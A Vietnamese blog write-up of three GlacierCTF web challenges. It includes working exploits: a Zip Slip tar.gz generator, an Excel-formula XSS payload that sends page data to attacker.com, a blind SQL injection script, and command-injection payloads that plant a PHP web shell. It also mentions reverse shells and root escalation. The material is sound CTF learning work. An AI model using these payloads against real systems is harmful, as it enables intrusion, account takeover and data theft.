Glacierctf - Web

Giải này không quá dễ nhưng cũng không quá khó (vì mình clear được web thì là nó không khó rồi) nên trong bài này mình sẽ viết chi tiết về 3 bài mình đã giải được.

Cả ba bài đều được cung cấp source code và có thể build được docker luôn nên mình làm whitebox. Hơn nữa là dạo này dự án trên công ty mình rất nhiều whitebox từ đó mà mình cũng đọc code nhanh hơn và tìm được phương hướng cũng sớm. Bây giờ thì bắt đầu thôi.

Fuzzybytes

Với bài web1 này thì không quá khó, đọc thoáng qua description thì có liên quan đến upload file. Build docker lên để có cái nhìn trực quan hơn và dễ liên kết các chức năng lại.

Chức năng chính của web đó là cho upload 1 file .tar.gz, sau đó sẽ thực hiện giải nén. Dưới đây là đoạn code chính

Tại dòng 4, vì đã có hàm basename nên không thể path traversal ở đây được. Đến dòng 33, ứng dụng sử dụng file check_for_malicious_code.py để kiểm tra code.

Tại file check_for_malicious_code.py, ứng dụng sẽ giải nén và thực hiện kiểm tra, cuối cùng sẽ xóa folder vừa giải nén. Chính tại dòng 17 khi thực hiện giải nén sẽ gây ra lỗ hổng Zip Slip. Sau khi xác định được lỗ hổng cần khai thác, mình đi tìm các điều kiện cần thiết.

Đầu tiên đó phải là file có đuôi .gz và nó cũng phải được nén với thuật toán của .tar.gz (cái này mình cũng không rõ gọi là thuật toán hay gì nhưng mà trong lúc giải để giải thích dễ hiểu mình gọi nó là thuật toán). Như vậy luồng để khai thác bài này sẽ là upload 1 file nén lên, sau đó ứng dụng sẽ giải nén và khi giải nén mình sẽ ném 1 file shell.php vào webroot. Dựa vào đó mình viết 1 script để gen ra file .tar.gz như sau:

import tarfile
import os

output = "exploit.tar.gz"

path = "../../../../../../../../../../var/www/html/shell.php"

content = b"<?php phpinfo(); ?>"

def create_malicious_tar(tar_path, file_path, content):
    with tarfile.open(tar_path, "w:gz") as tar:
        temp_file_path = "temp.txt"
        with open(temp_file_path, "wb") as temp_file:
            temp_file.write(content)

        tarinfo = tar.gettarinfo(temp_file_path, arcname=file_path)
        with open(temp_file_path, "rb") as temp_file:
            tar.addfile(tarinfo, temp_file)

        os.remove(temp_file_path)

create_malicious_tar(output, path, content)

Sau khi upload lên, truy cập vào /shell.php sẽ lấy được shell :vvv

Tiếp theo để lấy flag thì mình cần phải lên root vì flag được đặt trong /root

Thực hiện reverse shell và bắt đầu lên root thôi.

Tìm những file có SUID thì thấy có tar nên lúc này sẽ dùng file này để leo root. Mục đích là đọc file nên mình cũng chỉ dừng ở đọc file thôi vì cố leo nữa thì nó cũng nằm trong 1 con docker thôi mà, không phá được server :vvv

SkiData

Bài này mình đánh giá là hay nhất trong giải này vì mình cũng không mạnh bypass XSS và nó cũng lắt léo nữa nên những cái học được qua bài này rất là nhiều :vvv

Cũng giống như bài trước, web2 cũng sẽ được cấp source code và mình build docker, trong lúc chờ đợi thì mình nghiên cứu source code trước. Ngoài chức năng đăng ký, đăng nhập vì nó code an toàn rồi nên mình sẽ vào thẳng chức năng chính đó là upload file excel

Đây là đoạn code xử lý upload file, nhìn nó đã an toàn. Tiếp theo là đến đoạn xử lý file upload

Đoạn này sẽ thực hiện kiểm tra xem có đủ giá trị không, nhìn thật kỹ thì có 1 chút khác đó là ở cột C sẽ kiểm tra xem đó có phải là số nguyên không.

Sau đó nó sẽ thực thi lần nữa để lấy các giá trị ở các ô và đưa vào mảng race_results cuối cùng sẽ được hiển thị ra bên ngoài. Luồng sẽ như vậy, bây giờ sẽ build lên và thử lại để confirm

Trong source cũng cho luôn một file excel mẫu nên mình thử luôn.

Nhìn kết quả thì thấy nó khá là lạ, tại sao rank 1, 2, 3 lại được css đẹp hơn nhỉ. Đọc lại phần source chỗ gen kết quả thì thấy nó sử dụng 1 hàm style

Vậy chức năng chính của hàm style này đó chính là để tạo lên các thuộc tính cho tag img kia. Vậy nếu phần rank mình kiểm soát đó sẽ là 1 đoạn payload để thực thi XSS thì sao? Thì nó bị XSS chứ sao. Lúc này nhìn vào chỗ set các thuộc tính thì có thể suy ra payload nó sẽ là “><img/src/onerror=alert(1)>. Nhưng nhìn lại thì phần rank này là cột C mà trong lúc kiểm tra thì nó lại cần là số nguyên vậy phải làm sao?

Nhìn kỹ lại source 1 lần nữa và so sánh với file excel này thì ứng dụng có 1 đoạn kiểm tra cột E nhưng mà cột E này trong file mẫu sẽ là trống.

Lúc này mình đi tìm hiểu về hàm evaluate thì nó sẽ như là hàm eval trong python vậy, nó sẽ thực thi và lấy kết quả trong ô đó cho mình. Ví dụ ô C1 của mình có giá trị là 1 thì hàm evaluate tại ô C1 đó sẽ có kết quả là 1. Ngay lúc này mình nảy ra ý tưởng đó là, kiểm tra kiểu dữ liệu ở cột C xong thì nó sẽ thực hiện thay đổi giá trị cột C khi thực hiện hàm evaluate ở cột E, đi tìm hiểu và googling thì thấy nó không có cách nào ngoài việc dùng VBA hay macro gì đó để thay đổi được như vậy. Lúc này mình nghĩ tới việc tại sao phải dùng hàm evaluate tận 2 lần. Từ đó mình có cái chain như sau:

  • Mình sẽ đặt một hàm IF ở cột C, khi lần đầu tiên thực hiện và lấy giá trị thì sẽ cho nó trả về số nguyên.

  • Đến lần thứ 2, khi đã qua hàm kiểm tra, ứng dụng lấy giá trị và gán vào biến thì lúc này mình sẽ khiến nó trả về payload. Vậy căn cứ vào đâu để làm điều kiện cho hàm IF???? Nhìn lại vào cột E, đúng rồi sẽ lấy giá trị Imported.

Như vậy là xong, đến lúc làm cái hàm IF rồi và đây chính là hàm IF của mình dùng

=IF(E2="Imported", "1""><img/src/onerror=alert(1)>", 1)

Thực hiện upload lên và xem kết quả thì đã thành công rồi.

Vậy giờ flag sẽ ở đâu? Quay lại nhìn docker thì thấy nó sẽ nằm ở username của admin

Mà username sẽ được hiển thị ở trang index như này

Vậy thì payload của mình sẽ như sau:

=IF(E2="Imported", "1""><img/src/onerror=fetch('/my_races').then(res => res.text()).then(data => {fetch('https://attacker.com', {method:'POST', body:data, mode:'no-cors'})})>", 1)

Khi upload lên và xem thì nó đã gây ra lỗi 500

Nhìn vào log thì thấy do chứa dấu cách trong payload

Sửa lại một chút và thử lại thì thấy ngon rồi

Giờ phang vào, report cho admin và lấy flag thôi

GlacierChat

Với bài web3 này thì mình hơi bí vì cũng 11h rồi, ngồi 30p không tìm thấy hướng giải quyết nên mình quyết định đi ăn với anh em. Ăn xong thì quay trở lại, mình làm thêm vài ván game vui vui. Sau đó thì mình bắt đầu quay lại chơi CTF sau những giờ chơi game căng thẳng. Đúng là sau khi game xong thì mình đã nhìn thấy cái hướng để giải quyết bài này. Nó dài và thời gian giới hạn của 1 host là 10 phút nên mình phải làm thế nào để giải nhanh nhất có thể.

Đầu tiên là là chức năng đăng nhập

Sau khi login xong sẽ được chuyển về trang /totp.php để nhập OTP, sau đó mới được vào trang chủ ứng dụng

Bên cạnh đó sẽ có trang /reset.php để thực hiện đặt reset_code

Tại hàm getResetCode sẽ thực hiện echo ra reset_code nhưng muốn echo ra được thì giá trị của biến prefix sẽ phải khác rỗng. Mà để khác rỗng thì mình chỉ cần truyền giá trị 1 cho param is_tenant

Tiếp theo đó là /set_new_password.php, chức năng của trang này đó chính là sử dụng reset_code ở trên để reset password. Nhìn qua có thể thấy chức năng reset password này có lỗi SQL Injection và username không được chứa string “blob” - cụm từ này dùng để khai thác SQL Injection timebase trong SQLite.

Vậy xâu chuỗi lại, để có thể đăng nhập được thì mình sẽ sử dụng chức năng reset để lấy được reset_code. Sử dụng reset_code này để reset password của admin và tận dụng lỗi SQLi ở đây để có thể lấy được totp_secret - Giá trị này dùng để gen OTP.

Giờ thì mình sẽ làm từng bước 1 và cần phải nhanh thì mình sẽ viết script để khai thác sau.

Lấy được reset_code tiếp theo sẽ là reset password của admin

Giờ thì mình sẽ phải xây dựng payload để lấy được totp_secret vì không khai thác timebase được nên mình chuyển sang error base. Sau khi tham khảo payload all the things xong thì payload để test của mình sẽ như sau:

admin' and (CASE WHEN 1=1 THEN 1 ELSE load_extension(1) END)='

Khi nó đúng thì sẽ trả về 1 và sẽ có thông báo là reset password thành công và khi sai sẽ lỗi 500. Tại sao mình lại để sai là lỗi thì mỗi khi nó reset password thành công, lúc đó reset_code sẽ hết hạn. Mà khi thử sai thì có rất nhiều trường hợp sai và chỉ 1 trường hợp đúng, khi đó mình chỉ cần lọc 1 lần và không phải gửi request tạo reset_code nhiều lần. Vì biết giá trị của totp_secret là 8 nên mình sẽ đi so sánh từng ký tự thôi, lúc này payload hoàn chỉnh sẽ là:

admin' and (CASE WHEN substr(totp_secret,1,1)='a' THEN 1 ELSE load_extension(1) END)='

Đoạn này sẽ lặp đi lặp lại nên mình viết script để lấy được totp_secret

import requests
import re
import urllib3

HOST = "http://localhost:9090"
# proxy = {"https": "http://127.0.0.1:8080"}
proxy = None
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def get_code():
    URL = HOST + "/reset.php"
    data = {"form_name": "reset", "username": "admin", "is_tenant": "1"}
    pattern = r'Warning: Reset code (.*) uses custom'
    match = re.search(pattern, requests.post(URL, data=data, proxies=proxy, verify=False).text)
    return (match.group(1))

def set_pass():
    URL = HOST + "/set_new_password.php"
    data = {"form_name": "set_new_password", "code": get_code(), "username": "admin", "password": "1", "password_confirm": "1"}
    requests.post(URL, data=data, proxies=proxy, verify=False)

def get_totp():
    URL = HOST + "/set_new_password.php"
    code = get_code()
    totp_result = ''
    index = 1
    while index < 9:
        for char in 'ABCDEFGHIJKLMNPQRSTUVWXYZ234567':
            payload = f"admin' and (CASE WHEN SUBSTR(totp_secret,{index},1)='{char}' THEN 1 ELSE load_extension('x') END)='"
            data = {"form_name": "set_new_password", "code": f"{code}", "password": "1",
                "password_confirm": "1", "username": payload}
            res = requests.post(URL, data=data, proxies=proxy, verify=False)
            if "Successfully reset password" in res.text:
                totp_result+=char
                code = get_code()
                br = True
                break
        if br:
            index += 1 
            br = False  
    return totp_result

print(get_totp())
set_pass()

Đây sẽ là kết quả của nó

Lấy được totp_secret rồi thì mình sẽ thực hiện gen OTP hợp lệ và login thôi. Mình mình rất lười nên mình sửa lại code đề bài và để tận dụng cho những lần sau. Mình thêm 1 hàm getOTP này vào file web\utils\totp.php

Sau đó sửa lại đoạn message khi nhập OTP sai trong file web\html\totp.php

Và thế là khi login thành công, lần đầu mình sẽ nhập OTP bừa khi đó sẽ lấy được OTP đúng. Lần thứ 2 sẽ nhập OTP đúng :vvv

Đây sẽ là giao diện khi vào trang chủ

Ứng dụng cho tạo các note, có thể là kiểu text hay là media. Với kiểu text xử lý rất ít nên mình xử lý nó trước

Tại hàm insertTextContent sẽ thực hiện insert content của mình vào bảng và nó cũng đặt giá trị của approved1 luôn nên đoạn sau sẽ không dùng được. Tại sao lại không dùng được thì mình sẽ giải thích lý do sau.

Với kiểu media, nó sẽ xử lý rất nhiều nhưng mình để ý giá trị của media_urimessage. Nó sẽ được truyền vào hàm insertMediaContent để xử lý.

Khi này ứng dụng thực hiện curl đến URI mình truyền vào để lấy nội dung, nhưng sau đó nội dung này không được lưu vào bảng mà thứ được lưu vào bảng chính là URI và cái nữa đó chính giá trị của approved0. Khi này mình đã thấy cấn cấn rồi nên mình thử sử dụng chức năng này để kiểm tra

Khi thêm thành công, những note có giá trị approved sẽ được xét duyệt, có chức năng xem trước và duyệt.

Cả 2 chức năng này đều gọi hàm fetchMediaContent để xử lý gì đó.

Tại hàm fetchMediaContent này sẽ dùng hàm shell_exec để thực hiện command với giá trị media_content - chính là cột content lúc nãy mình thắc mắc.

Giờ thì mình sẽ giải thích tại sao kiểu text không được, nguyên nhân là khi note dạng text thì nó sẽ auto được duyệt nên sẽ không có chức năng xem trước và duyệt. Nếu không có chức năng đó thì sẽ không thể vào hàm fetchMediaContent để gây ra lỗi cmdi được. Vì vậy chỉ còn kiểu media là được, nhưng như mình đã nói thì cột content đó chính là URI mình truyền. Mà giá trị đó thì đã được kiểm tra

Khi đó mình nghĩ đến trường hợp bypass như sau:

  • Với http://1.1.`ls`.1 thì sẽ không đi qua đoạn kiểm tra được

  • Với giá trị a://1.1.`ls`.1 thì lại đi qua được nên CMDi khá dễ

Lúc này mình đã nghĩ tới flag rồi nên đi tìm. Nhưng mà lần này flag vẫn phải lên root tiếp do đó mình cần phải reverse shell. Đầu tiên mình thử payload luôn nhưng nó lại kết nối không ổn định, do đó mình chuyển sang hướng ghi shell.

Trong webroot thì người dùng www-data có thể ghi được nên mình thực hiện shell luôn và lần này phải chia ra từng lần ghi nhỏ

  • Lần đầu sẽ ghi đoạn <? vào file /var/www/html/shell.php

  • Lần 2 sẽ là system($_REQUEST[0]) vào file /var/www/html/shell.php

  • Lần 3 là ?> vào file /var/www/html/shell.php

Payload lần lượt là:

a://`echo$IFS'<?php'>/var/www/html/shell.php`.1.1.1
a://`echo$IFS'system($_GET[0]);'>>/var/www/html/shell.php`.1.1.1
a://`echo$IFS'?>'>>/var/www/html/shell.php`.1.1.1

Lúc này script để ghi shell khi lần đầu login chưa tạo note nào như sau

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

URL = "https://7a9d330fdef0e5a45b5817637f78e2b0.glacierchat.web.glacierctf.com"

def preview(id, cookie):
    cookie = {"PHPSESSID": cookie}
    data = {"form_name": "preview_content", "id": id}
    requests.post(URL, cookies=cookie, data=data, verify=False)

def write_shell(start, cookie):
    cookie_full = {"PHPSESSID": cookie}
    data1 = {"form_name": "createPost", "content_type": "media", "content": "1", "message": "1", "password_protection": "1", "media_uri": "a://`echo$IFS'<?php'>/var/www/html/shell.php`.1.1.1"}
    requests.post(URL, cookies=cookie_full, data=data1, verify=False)
    preview(1, cookie)

    data2 = {"form_name": "createPost", "content_type": "media", "content": "1", "message": "1", "password_protection": "1", "media_uri": "a://`echo$IFS'system($_GET[0]);'>>/var/www/html/shell.php`.1.1.1"}
    requests.post(URL, cookies=cookie_full, data=data2, verify=False)
    preview(2, cookie)

    data3 = {"form_name": "createPost", "content_type": "media", "content": "1", "message": "1", "password_protection": "1", "media_uri": "a://`echo$IFS'?>'>>/var/www/html/shell.php`.1.1.1"}
    requests.post(URL, cookies=cookie_full, data=data3, verify=False)
    preview(3, cookie)

start = 1
cookie = '381e9bi7sks1gc9om015g8r0e7' # change this
write_shell(start, cookie)

Khi ghi shell xong mình thực hiện reverse shell về để tìm hướng lên root. Đọc qua 1 lượt config thì có 1 chỗ mình chưa sử dụng đó chính là cron

Khi mình thử ghi đè đoạn sau vào file cron.php và đợi nó chạy. Sau đó xem log thì thấy người thực hiện nó chính là root

<?php
system('whoami');
?>

Khi đó mình chỉ cần đọc flag và ghi ra thôi là xong. Giờ mới đến đoạn khai thác trên server chính này. Mỗi lần tạo host thì sẽ chỉ có 10p thôi nên mình cần sử dụng script và khai thác thật nhanh

Khi lấy được host thì mình chạy script để lấy totp_secret luôn, sau đó lấy OTP và login thành công

Khi đó sẽ thực hiện ghi shell với Cookie vừa lấy

Ghi xong sẽ truy cập shell.php và reverse shell

Và cuối cùng là lấy flag

Tổng kết

Cuối cùng thì mình đã clear được web, tất cả các file docker mình sẽ để ở đây để mọi người có thể làm. Cảm ơn mọi người đã đọc đến đây. Hẹn gặp lại ở những bài viết tiếp theo!!

0
Subscribe to my newsletter

Read articles from Nguyễn Đức Tùng directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Nguyễn Đức Tùng
Nguyễn Đức Tùng